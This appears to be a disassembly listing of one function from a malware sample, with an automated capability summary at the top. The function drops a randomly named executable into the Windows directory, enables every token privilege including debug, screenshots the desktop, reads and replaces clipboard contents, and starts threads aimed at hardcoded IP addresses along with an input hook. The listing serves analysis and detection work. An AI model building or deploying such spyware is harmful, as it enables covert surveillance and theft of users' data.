Function at 0x4011c0
Capabilities:
Acquire debug privileges
Check if file exists
Create thread
Get common file path
Open clipboard
Read clipboard data
Resolve function by parsing pe exports
Write clipboard data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1e8
mov eax, dword [0x43d008]
xor eax, esp
mov dword [esp + 0x1e4], eax
push esi
push edi
push 0x104
lea eax, [esp + 0xe4]
push 0
push eax
call fcn.0040c730
push 0x104
call fcn.0040f1f7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40132d
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, eax
test edi, edi
je 0x401324
cmp edi, 0x104
jb 0x401260
xor edx, edx
mov ecx, edi
add ecx, 0x104
setb dl
neg edx
or edx, ecx
push edx
push esi
call fcn.00413568
add esp, 8
test eax, eax
je 0x401324
lea ecx, [edi + 0x104]
mov esi, eax
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x401324
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 0xe4]
push str._08x.exe
push eax
call fcn.00409fe0
add esp, 0xc
lea eax, [esp + 0xe0]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push esi
push str.MakeRandomExePathInSystemDir:_s_n
call fcn.00401ab0
add esp, 8
push esi
mov byte [esp + 0x10], 0
mov dword [esp + 0x9c], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40132d
push 0
lea eax, [esp + 0x9c]
push eax
push 0x400
push 0x43dab0
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40130d
mov eax, dword [esp + 0xc]
mov ecx, 1
cmp dword [esp + 0x98], 0x400
movzx eax, al
cmove eax, ecx
mov dword [esp + 0xc], eax
test edi, edi
je 0x40131d
cmp edi, 0xffffffff
je 0x40131d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0xc], 0
je 0x40132d
push esi
call fcn.0040f1dc
add esp, 4
push 0x827
push 0x4390cc
push 2
call fcn.0040a100
add esp, 0xc
mov dword [esp + 0x98], 0
lea eax, [esp + 0x98]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4014d8
mov edi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
xor esi, esi
mov dword [esp + 0x18], str.SeCreateTokenPrivilege
mov eax, str.SeCreateTokenPrivilege
mov dword [esp + 0x1c], str.SeAssignPrimaryTokenPrivilege
mov dword [esp + 0x20], str.SeLockMemoryPrivilege
mov dword [esp + 0x24], str.SeIncreaseQuotaPrivilege
mov dword [esp + 0x28], str.SeUnsolicitedInputPrivilege
mov dword [esp + 0x2c], str.SeMachineAccountPrivilege
mov dword [esp + 0x30], str.SeTcbPrivilege
mov dword [esp + 0x34], str.SeSecurityPrivilege
mov dword [esp + 0x38], str.SeTakeOwnershipPrivilege
mov dword [esp + 0x3c], str.SeLoadDriverPrivilege
mov dword [esp + 0x40], str.SeSystemProfilePrivilege
mov dword [esp + 0x44], str.SeSystemtimePrivilege
mov dword [esp + 0x48], str.SeProfileSingleProcessPrivilege
mov dword [esp + 0x4c], str.SeIncreaseBasePriorityPrivilege
mov dword [esp + 0x50], str.SeCreatePagefilePrivilege
mov dword [esp + 0x54], str.SeCreatePermanentPrivilege
mov dword [esp + 0x58], str.SeBackupPrivilege
mov dword [esp + 0x5c], str.SeRestorePrivilege
mov dword [esp + 0x60], str.SeShutdownPrivilege
mov dword [esp + 0x64], str.SeDebugPrivilege
mov dword [esp + 0x68], str.SeAuditPrivilege
mov dword [esp + 0x6c], str.SeSystemEnvironmentPrivilege
mov dword [esp + 0x70], str.SeChangeNotifyPrivilege
mov dword [esp + 0x74], str.SeRemoteShutdownPrivilege
mov dword [esp + 0x78], str.SeUndockPrivilege
mov dword [esp + 0x7c], str.SeSyncAgentPrivilege
mov dword [esp + 0x80], str.SeEnableDelegationPrivilege
mov dword [esp + 0x84], str.SeManageVolumePrivilege
mov dword [esp + 0x88], str.SeImpersonatePrivilege
mov dword [esp + 0x8c], str.SeCreateGlobalPrivilege
mov dword [esp + 0x90], 0
lea ecx, [esp + 0xa4]
xorps xmm0, xmm0
push ecx
push eax
push 0
movaps xmmword [esp + 0xac], xmm0
call edi
push 0
push 0
push 0
lea eax, [esp + 0xac]
mov dword [esp + 0xac], 1
push eax
push 0
push dword [esp + 0xac]
mov dword [esp + 0xc4], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea esi, [esi + 1]
mov eax, dword [esp + esi*4 + 0x18]
test eax, eax
jne 0x401482
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
xorps xmm0, xmm0
push 0
mov dword [esp + 0x9c], 0
movups xmmword [esp + 0xbc], xmm0
movups xmmword [esp + 0xcc], xmm0
movq qword [esp + 0xdc], xmm0
call esi
mov edi, eax
push 1
mov dword [esp + 0x14], edi
call esi
mov dword [esp + 0xc], eax
xorps xmm0, xmm0
mov dword [esp + 0xbc], eax
imul eax, edi
movlpd qword [esp + 0xc8], xmm0
movlpd qword [esp + 0xd0], xmm0
movlpd qword [esp + 0xd8], xmm0
mov dword [esp + 0xb4], 0x28
add eax, eax
mov dword [esp + 0xb8], edi
mov dword [esp + 0xc8], eax
add eax, 0x36
mov dword [esp + 0xa2], eax
mov eax, 0x4d42
mov dword [esp + 0xc0], 0x100001
mov dword [esp + 0xc4], 0
mov dword [esp + 0xa6], 0
mov dword [esp + 0xaa], 0x36
mov word [esp + 0xa0], ax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [esp + 0xa0], eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
je 0x4016c8
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
test esi, esi
je 0x4016ba
push 0
push 0
lea eax, [esp + 0xa0]
push eax
push 0
lea eax, [esp + 0xc4]
push eax
push edi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov dword [esp + 0x14], eax
test eax, eax
je 0x4016b3
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [esp + 0x1c]
push dword [esp + 0x24]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x4016a9
push dword [esp + 0xa2]
call fcn.0040f1f7
add esp, 4
test eax, eax
je 0x4016a9
movq xmm0, qword [esp + 0xa0]
mov ecx, dword [esp + 0xa8]
movq qword [eax], xmm0
mov dword [eax + 8], ecx
mov cx, word [esp + 0xac]
mov word [eax + 0xc], cx
movups xmm0, xmmword [esp + 0xb4]
movups xmmword [eax + 0xe], xmm0
movups xmm0, xmmword [esp + 0xc4]
movups xmmword [eax + 0x1e], xmm0
movq xmm0, qword [esp + 0xd4]
movq qword [eax + 0x2e], xmm0
add eax, 0x36
push dword [esp + 0xc8]
push dword [esp + 0x9c]
push eax
call fcn.0040c8d0
push 0x439106
push 0x19895
push 2
call fcn.0040a230
add esp, 0x18
push dword [esp + 0x14]
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push dword [esp + 0xa0]
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov edi, dword [sym.imp.USER32.dll_CloseClipboard]
mov esi, eax
test esi, esi
je 0x401761
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x401743
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x401761
push 0x104
lea eax, [esp + 0xe4]
push 0
push eax
call fcn.0040c730
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401717
sub ecx, edx
mov eax, 0x104
cmp ecx, eax
cmovb eax, ecx
push eax
lea eax, [esp + 0xe4]
push esi
push eax
call fcn.0040c8d0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call edi
lea eax, [esp + 0xe0]
push eax
push 0x439108
push 0x19895
push 2
call fcn.0040a230
add esp, 0x10
push 0x1a5b
push 0x4390cc
push 2
call fcn.0040a100
add esp, 0xc
push 0x104
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x4017c9
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4017c9
push str.I6dUf0zolaaOh
push 0x104
push eax
call fcn.0040f202
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
call dword [sym.imp.USER32.dll_EmptyClipboard]
push esi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call edi
push 8
mov dword [esp + 0xa0], 0
call fcn.0040f1f7
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 0xa0]
add esp, 4
mov dword [eax + 4], 0x75ef
mov dword [eax], str.65.136.8.209
push ecx
push 0
push eax
push 0x4018e0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x401814
push eax
call edi
call fcn.00402700
test al, al
je 0x401853
call fcn.00402b10
push 0x43f2c8
push 0
push 0
push 0x4047d0
push 0
push 0
call esi
test eax, eax
jne 0x401850
push str.Cannot_create_a_new_hook_thread_n
push 0x19895
push 2
call fcn.0040a230
add esp, 0xc
jmp 0x401853
push eax
call edi
push 0x2cde
push 0x4390cc
push 2
call fcn.0040a100
add esp, 0xc
mov dword [esp + 0x9c], 0
lea eax, [esp + 0x9c]
push eax
push 0
push str.111.175.190.128
push 0x407130
push 0
push 0
call esi
test eax, eax
jne 0x40189f
push str.Cannot_create_a_new_hook_thread_n
call fcn.00401ab0
add esp, 4
jmp 0x4018a2
push eax
call edi
push 0x4e7c
push 0x4390cc
push 2
call fcn.0040a100
push str.pause
call fcn.0040f1d1
mov ecx, dword [esp + 0x1fc]
add esp, 0x10
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.0040a385
mov esp, ebp
pop ebp
ret